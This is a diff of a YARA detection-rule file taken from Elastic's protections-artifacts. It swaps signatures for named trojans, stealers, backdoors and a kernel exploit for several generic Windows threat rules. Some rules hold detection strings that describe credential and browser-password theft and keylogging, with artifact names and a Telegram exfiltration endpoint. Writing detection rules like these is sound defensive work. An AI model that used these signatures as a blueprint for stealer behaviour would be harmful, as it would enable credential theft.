-		logic_hash = "e7d9c66621ad3c56f3bb8150c17b10495053d9485b2143750aeefd3c55ab7943"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L1546-L1564"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "2073e51c7db7040c6046e36585873a0addc2bcddeb6e944b46f96c607dd83595"
+		logic_hash = "30263341bf51a001503dfda9be5771d401bc5b5423682c29a6d4ebc457415d3e"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "f2a8ecfffb0328c309a3a5db7e62fae56bf168806a1db961a57effdebba7645e"
-		severity = 100
+		fingerprint = "a4ceaf0bf2e8dc3efbc6e41e608816385f40c04984659b0ec15f109b7a6bf20a"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { C9 B0 27 CD 80 31 C0 B0 3D CD 80 31 C0 8D 5E 02 }
+		$a1 = { 55 8B EC 53 56 57 8B F9 85 D2 74 18 0F B7 02 8D 5A 02 0F B7 72 02 8B 4A 04 3B C7 74 0E 83 C2 08 03 D1 75 E8 33 C0 5F 5E 5B 5D C3 B8 78 03 00 00 66 3B F0 74 EF 8B 45 08 89 18 8D 41 06 EB E7 8D }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Macos_Trojan_Electrorat_B4Dbfd1D : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_1417511B : FILE MEMORY
 {
 	meta:
-		description = "Detects Macos Trojan Electrorat (MacOS.Trojan.Electrorat)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "b4dbfd1d-4968-4121-a4c2-5935b7f76fc1"
-		date = "2021-09-30"
-		modified = "2021-10-25"
+		id = "1417511b-2b31-47a8-8465-b6a174174863"
+		date = "2024-01-17"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/MacOS_Trojan_Electrorat.yar#L1-L22"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "b1028b38fcce0d54f2013c89a9c0605ccb316c36c27faf3a35adf435837025a4"
-		logic_hash = "a36143a8c93cb187dba0a88a15550219c19f1483502f782dfefc1e53829cfbf1"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L1566-L1584"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "2fc9bd91753ff3334ef7f9861dc1ae79cf5915d79fa50f7104cbb3262b7037da"
+		logic_hash = "e6b53082fa447ac3cf56784771aca742696922e6f740a24d014e04250dc5020c"
 		score = 75
-		quality = 71
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "fa65fc0a8f5b1f63957c586e6ca8e8fbdb811970f25a378a4ff6edf5e5c44da7"
-		severity = 100
+		fingerprint = "4be19360fccf794ca2e53c4f47cd1becf476becf9eafeab430bdb3c64581613c"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "macos"
+		os = "windows"
 
 	strings:
-		$a1 = "_TtC9Keylogger9Keylogger" ascii fullword
-		$a2 = "_TtC9Keylogger17CallBackFunctions" ascii fullword
-		$a3 = "\\DELETE-FORWARD" ascii fullword
-		$a4 = "\\CAPSLOCK" ascii fullword
+		$a1 = { 83 EC 20 8B 45 08 89 45 F4 8B 4D F4 8B 55 08 03 51 3C 89 55 F0 B8 08 00 00 00 6B C8 00 8B 55 F0 8B 45 08 03 44 0A 78 89 45 F8 8B 4D F8 8B 55 08 03 51 20 89 55 EC 8B 45 F8 8B 4D 08 03 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Hawkeye_77C36Ace : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_7526F106 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Hawkeye (Windows.Trojan.Hawkeye)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "77c36ace-3857-43f8-a6de-596ba7964b6f"
-		date = "2021-08-16"
-		modified = "2021-10-04"
+		id = "7526f106-018f-41b9-a1bf-15f7d9f2188e"
+		date = "2024-01-17"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Hawkeye.yar#L1-L23"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "28e28025060f1bafd4eb96c7477cab73497ca2144b52e664b254c616607d94cd"
-		logic_hash = "e8c1060efde0c4a073247d03a19dedb1c0acc8506fbf6eac93ac44f00fc73be1"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L1586-L1605"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "5a297c446c27a8d851c444b6b32a346a7f9f5b5e783564742d39e90cd583e0f0"
+		logic_hash = "a0f9eb760be05196f0c5c3e3bf250929b48341a58a11c24722978fa19c4a9f57"
 		score = 75
-		quality = 50
+		quality = 71
 		tags = "FILE, MEMORY"
-		fingerprint = "c9a1c61b4fa78c46d493e1b307e9950bd714ba4e5a6249f15a3b86a74b7638e5"
-		severity = 100
+		fingerprint = "5f5fc4152aae94b9c3bc0380dbcb093289c840a29b629b1d76a09c672daa9586"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = "Logger - Key Recorder - [" wide fullword
-		$a2 = "http://whatismyipaddress.com/" wide fullword
-		$a3 = "Keylogger Enabled: " wide fullword
-		$a4 = "LoadPasswordsSeaMonkey" wide fullword
-		$a5 = "\\.minecraft\\lastlogin" wide fullword
+		$a1 = { 50 72 6F 6A 65 63 74 31 2E 75 45 78 57 61 74 63 68 }
+		$a2 = { 6C 49 45 4F 62 6A 65 63 74 5F 44 6F 63 75 6D 65 6E 74 43 6F 6D 70 6C 65 74 65 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Hawkeye_975D546C : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_Cbe3313A : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Hawkeye (Windows.Trojan.Hawkeye)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "975d546c-286b-4753-b894-d6ed0aa832f3"
-		date = "2023-03-23"
-		modified = "2023-04-23"
+		id = "cbe3313a-ab8f-4bf1-8f62-b5494c6e7034"
+		date = "2024-01-17"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Hawkeye.yar#L25-L48"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "aca133bf1d72cf379101e6877871979d6e6e8bc4cc692a5ba815289735014340"
-		logic_hash = "cbd8ce991059f961236a4bb83ea5a78efa661199b40fca8b09550856e932198b"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L1607-L1625"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "1ca2a28c851070b9bfe1f7dd655f2ea10ececef49276c998a1d2a1b48f84cef3"
+		logic_hash = "41a731cefe0c8ee95f1db598b68a8860ef7ff06137ce94d0dd0b5c60c4240e85"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "5bbdb07fa6dd3e415f49d7f4fbc249c078ae42ebd81cad3015e32dfdc8f7cda6"
-		severity = 100
+		fingerprint = "dc92cec72728b1df78d79dc5a34ea56ee0b8c8199652c1039288c46859799376"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$s1 = "api.telegram.org"
-		$s2 = "Browsers/Passwords"
-		$s3 = "Installed Browsers.txt"
-		$s4 = "Browsers/AutoFills"
-		$s5 = "Passwords.txt"
-		$s6 = "System Information.txt"
+		$a1 = { 83 EC 08 68 E6 25 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 2C 53 56 57 89 65 F8 C7 45 FC D0 25 40 00 A1 94 B1 41 00 33 F6 3B C6 89 75 EC 89 75 E8 89 75 E4 0F 8E E7 00 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Exploit_CVE_2017_16995_0C81A317 : FILE MEMORY CVE_2017_16995
+rule ELASTIC_Windows_Generic_Threat_779Cf969 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Exploit Cve 2017 16995 (Linux.Exploit.CVE-2017-16995)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "0c81a317-b296-4cda-839c-a37903e86786"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "779cf969-d1a0-4280-94cb-c7f62d33482c"
+		date = "2024-01-17"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_CVE_2017_16995.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "48d927b4b18a03dfbce54bb5f4518869773737e449301ba2477eb797afbb9972"
-		logic_hash = "cdd6b309a1e802f1251d726b0ea74e3d11fdd10d1d0bfa4c6f3d802f819368ec"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L1627-L1645"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "ef281230c248442c804f1930caba48f0ae6cef110665020139f826ab99bbf274"
+		logic_hash = "ad0f2d78386abf4c6dc6b5a4a88b4dcf8e5bf8086b08bac91e5e00be9936e908"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY, CVE-2017-16995"
-		fingerprint = "40d192607a7237c41c35d90a48cbcfd95a79c0fe7c8017d41389f15a78d620f5"
-		severity = 100
+		quality = 73
+		tags = "FILE, MEMORY"
+		fingerprint = "7e089462cc02e2c9861018df71bf5dda6a3a982d3d98b252d44387c937526be4"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 55 48 89 E5 48 89 7D F8 48 8B 45 F8 48 25 00 C0 FF FF 5D C3 55 48 }
+		$a1 = { 3E 43 6F 70 79 72 69 67 68 74 20 28 63 29 20 50 79 74 68 6F 6E 20 53 6F 66 74 77 61 72 65 20 46 6F 75 6E 64 61 74 69 6F 6E 2E 20 41 6C 6C 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2E }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Exploit_CVE_2017_16995_82816Caa : FILE MEMORY CVE_2017_16995
+rule ELASTIC_Windows_Generic_Threat_D568682A : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Exploit Cve 2017 16995 (Linux.Exploit.CVE-2017-16995)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "82816caa-2fff-4b71-9544-443e611aacbf"
-		date = "2022-01-05"
-		modified = "2022-01-26"
+		id = "d568682a-94d2-41e7-88db-f6d6499cbdb2"
+		date = "2024-01-17"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_CVE_2017_16995.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "14e6b788db0db57067d9885ab5ff3d3a5749639549d82abd98fa4fcf27000f34"
-		logic_hash = "3ae00290073d41ff5dba2f677510bf9a9c0ebaed221901eb8b1a8dda08157a46"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L1647-L1665"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "0d98bc52259e0625ec2f24078cf4ae3233e5be0ade8f97a80ca590a0f1418582"
+		logic_hash = "97e172502037c7a5d66327fcc4a237e5548694fc7d73a535838ad56367f15d76"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY, CVE-2017-16995"
-		fingerprint = "1a716566946fdd368230c02e2c749b6ce371fa6211be6b3db137af9b117bec87"
-		severity = 100
+		tags = "FILE, MEMORY"
+		fingerprint = "2195cf67cdedfe7531591f65127ef800062d88157126393d0a767837a9023632"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { BC 89 45 C0 8B 45 B8 48 98 48 C1 E8 03 89 45 C4 48 8B 45 B0 48 }
+		$a1 = { 28 00 00 0A 28 22 00 00 0A 80 19 00 00 04 28 53 00 00 06 28 2D 00 00 0A 28 5D 00 00 06 16 80 1D 00 00 04 7E 13 00 00 04 7E 15 00 00 04 16 7E 15 00 00 04 8E B7 16 14 FE 06 5B 00 00 06 73 79 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Exploit_CVE_2017_16995_5Edb0181 : FILE MEMORY CVE_2017_16995
+rule ELASTIC_Windows_Generic_Threat_Ccb6A7A2 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Exploit Cve 2017 16995 (Linux.Exploit.CVE-2017-16995)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "5edb0181-dfb1-47e2-873b-0fa3043bee67"
-		date = "2022-01-05"
-		modified = "2022-01-26"
+		id = "ccb6a7a2-6003-4ba0-aefc-3605d085486d"
+		date = "2024-01-17"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_CVE_2017_16995.yar#L41-L59"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "e4df84e1dffbad217d07222314a7e13fd74771a9111d07adc467a89d8ba81127"
-		logic_hash = "f6eb19329db765938b48021039baaf1b5aeb3240c405ba20ed81863a0fb4b583"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L1667-L1686"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "60503212db3f27a4d68bbfc94048ffede04ad37c78a19c4fe428b50f27af7a0d"
+		logic_hash = "312265bbc4330a463bbe7478c70233f5df3353bda3c450562f2414f3675ba91e"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY, CVE-2017-16995"
-		fingerprint = "804635a4922830b894ed38f58751f481d389e5bfbea7a50912763952971844e6"
-		severity = 100
+		quality = 71
+		tags = "FILE, MEMORY"
+		fingerprint = "a73b0e067fce2e87c08359b4bb2ba947cc276ff0a07ff9e04cabde529e264192"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { F8 2F 77 0F 45 89 C2 49 89 D1 41 83 C0 08 4A 8D 54 15 D0 48 }
+		$a1 = { 40 52 61 6E 67 65 3A 62 79 74 65 73 3D 30 2D }
+		$a2 = { 46 49 77 41 36 4B 58 49 75 4E 66 4B 71 49 70 4B 30 4D 57 4D 74 49 38 4B 67 4D 68 49 39 4B 30 4D 53 49 6A 4B 66 4D 73 49 76 4B 75 4D 64 49 70 4B 30 4D 73 49 66 4B 68 4D 6F 49 69 43 6F 4D 6C 49 71 4B }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Exploit_Fakepipe_6Bc93551 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_D62F1D01 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Exploit Fakepipe (Windows.Exploit.FakePipe)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "6bc93551-b528-464b-8f1f-06db58c1cb01"
-		date = "2024-02-28"
-		modified = "2024-03-21"
+		id = "d62f1d01-4e24-4a93-85ad-3a3886d5de2f"
+		date = "2024-01-17"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Exploit_FakePipe.yar#L1-L22"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "545a41ccfcd0a4f09c1c62bef2dde61b52fa92abada71ab72b3f4febb9265f75"
-		logic_hash = "daf78c4a2db337f51054e108b5b54c8aa32300eae3bd39c5fc2d4769221c8aea"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L1688-L1706"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "380892397b86f47ec5e6ed1845317bf3fd9c00d01f516cedfe032c0549eef239"
+		logic_hash = "fd65eb56f3a48c37f83d3544c039d29c231cac1e2f8f07d176d709432a75a4c3"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "e2e31171486ee71bff9450966ba7b68dd0013856f1bda9ff7a30270855332c44"
-		severity = 100
+		fingerprint = "f7736c8920092452ca795583a258ad8b1ffd79116bddde3cff5d06b3ddab31b6"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$api = "ImpersonateNamedPipeClient"
-		$s1 = "\\\\.\\pipe\\%ws\\pipe\\" wide nocase
-		$s2 = "\\\\.\\pipe\\%s\\pipe\\" wide nocase
-		$s3 = { 5C 00 5C 00 2E 00 5C 00 70 00 69 00 70 00 65 00 5C 00 00 19 5C 00 70 00 69 00 70 00 65 00 5C }
+		$a1 = { 55 8B EC 51 53 56 8B 75 08 33 C0 57 8B FE AB AB AB 8B 7D 0C 8B 45 10 03 C7 89 45 FC 3B F8 73 3F 0F B7 1F 53 E8 01 46 00 00 59 66 3B C3 75 28 83 46 04 02 83 FB 0A 75 15 6A 0D 5B 53 E8 E9 45 00 }
 
 	condition:
-		$api and any of ($s*)
+		all of them
 }
-rule ELASTIC_Linux_Backdoor_Generic_Babf9101 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_2Bb6F41D : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Backdoor Generic (Linux.Backdoor.Generic)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "babf9101-1e6e-4268-a530-e99e2c905b0d"
-		date = "2021-04-06"
-		modified = "2021-09-16"
+		id = "2bb6f41d-41bb-4257-84ef-9026fcc0ebec"
+		date = "2024-01-17"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Backdoor_Generic.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "9ea73d2c2a5f480ae343846e2b6dd791937577cb2b3d8358f5b6ede8f3696b86"
-		logic_hash = "40084f3bed66c1d4a1cd2ffca99fd6789c8ed2db04031e4d4a4926b41d622355"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L1708-L1728"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "afa060352346dda4807dffbcac75bf07e8800d87ff72971b65e9805fabef39c0"
+		logic_hash = "7c4e62b69880eb8a901d7e94b7539786e8ac58808df07cb1cbe9ff45efce518e"
 		score = 75
-		quality = 75
+		quality = 69
 		tags = "FILE, MEMORY"
-		fingerprint = "a578b052910962523f26f14f0d0494481fe0777c01d9f6816c7ab53083a47adc"
-		severity = 100
+		fingerprint = "d9062e792a0b8f92a03c0fdadd4dd651a0072faa3dd439bb31399a0c75a78c21"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { C4 10 89 45 F4 83 7D F4 00 79 1F 83 EC 0C 68 22 }
+		$a1 = { 67 65 74 5F 73 45 78 70 59 65 61 72 }
+		$a2 = { 73 65 74 5F 73 45 78 70 59 65 61 72 }
+		$a3 = { 42 72 6F 77 73 65 72 50 61 74 68 54 6F 41 70 70 4E 61 6D 65 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Backdoor_Generic_5776Ae49 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_C54Ed0Ed : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Backdoor Generic (Linux.Backdoor.Generic)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "5776ae49-64e9-46a0-a0bb-b0226eb9a8bd"
-		date = "2021-04-06"
-		modified = "2022-01-26"
+		id = "c54ed0ed-9c63-437c-a016-d960bbb83c40"
+		date = "2024-01-21"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Backdoor_Generic.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "e247a5decb5184fd5dee0d209018e402c053f4a950dae23be59b71c082eb910c"
-		logic_hash = "b606f12c47182d80e07f8715639c3cc73753274bd8833cb9f6380879356a2b12"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L1730-L1747"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "f0f4878cb003371522ed1419984f15fd5049f1adeb8e051b8b51b31b0d620e96"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "2d36fbe1820805c8fd41b2b34a2a2b950fc003ae4f177042dc0d2568925c5b76"
+		fingerprint = "1e08706e235d6cf23d9c772e1b67463b3e6261a5155d88762472d892079df0d4"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 18 C1 E8 08 88 47 12 8B 46 18 88 47 13 83 C4 1C 5B 5E 5F 5D }
+		$a = { 81 FA 00 10 00 00 72 1C 48 83 C2 27 4C 8B 41 F8 49 2B C8 48 8D 41 F8 48 83 F8 1F 0F 87 92 00 00 00 49 8B C8 ?? ?? ?? ?? ?? 48 83 63 10 00 33 C0 EB 58 4D 8B CC 4D 8B C7 49 8B D6 48 8B CE FF D0 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Oskistealer_A158B1E3 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_Dbe41439 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Oskistealer (Windows.Trojan.OskiStealer)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "a158b1e3-21b7-4009-9646-6bee9bde98ad"
-		date = "2022-03-21"
-		modified = "2022-04-12"
+		id = "dbe41439-982d-4897-9007-9ad0f206dc75"
+		date = "2024-01-21"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_OskiStealer.yar#L1-L23"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "568cd515c9a3bce7ef21520761b02cbfc95d8884d5b2dc38fc352af92356c694"
-		logic_hash = "0ddbe0b234ed60f5a3fc537cdaebf39f639ee24fd66143c9036a9f4786d4c51b"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L1749-L1767"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "64afd2bc6cec17402473a29b94325ae2e26989caf5a8b916dc21952149d71b00"
+		logic_hash = "288cdc285d024f2b69847e0d49bd4dc1c86a2a6a24a7b4fb248071855ba39a38"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "3996a89d37494b118654f3713393f415c662850a5a76afa00e83f9611aee3221"
-		severity = 100
+		fingerprint = "f7c94f5bc3897c4741899e4f6d2731cd07f61e593500efdd33b5d84693465dd3"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = "\"os_crypt\":{\"encrypted_key\":\"" ascii fullword
-		$a2 = "%s / %s" ascii fullword
-		$a3 = "outlook.txt" ascii fullword
-		$a4 = "GLoX6gmCFw==" ascii fullword
-		$a5 = "KaoQpEzKSjGm8Q==" ascii fullword
+		$a1 = { 83 E4 F8 83 EC 2C 53 56 8B F1 57 89 74 24 10 8B 46 1C 8B 08 85 C9 74 23 8B 56 2C 8B 3A 8D 04 0F 3B C8 73 17 8D 47 FF 89 02 8B 4E 1C 8B 11 8D 42 01 89 01 0F B6 02 E9 F1 00 00 00 33 DB }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Hacktool_Sharprdp_80895Fcb : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_51A52B44 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Hacktool Sharprdp (Windows.Hacktool.SharpRDP)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "80895fcb-b98e-4865-a1f6-87cbea327cea"
-		date = "2022-11-20"
-		modified = "2023-01-11"
+		id = "51a52b44-025b-4068-89eb-01cdf66efb4e"
+		date = "2024-01-21"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Hacktool_SharpRDP.yar#L1-L23"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "6e909861781a8812ee01bc59435fd73fd34da23fa9ad6d699eefbf9f84629876"
-		logic_hash = "ef9a92f2ed29f508dca591e9c65a6ce0013ccdfd0c62770e8840be2f3ee5982e"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L1769-L1787"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "303aafcc660baa803344bed6a3a7a5b150668f88a222c28182db588fc1e744e0"
+		logic_hash = "aad1c350f43cf2e0512e085e1a04db6099c568e375423afb9518b1fb89801c21"
 		score = 75
 		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "a7eb084004fce79efc39781044bad501a731163fa3ad6f9b8b334611d03f5379"
-		severity = 100
+		fingerprint = "b10f3a3ceab827482139a9cadbd4507767e4d941191a7f19af517575435a5f70"
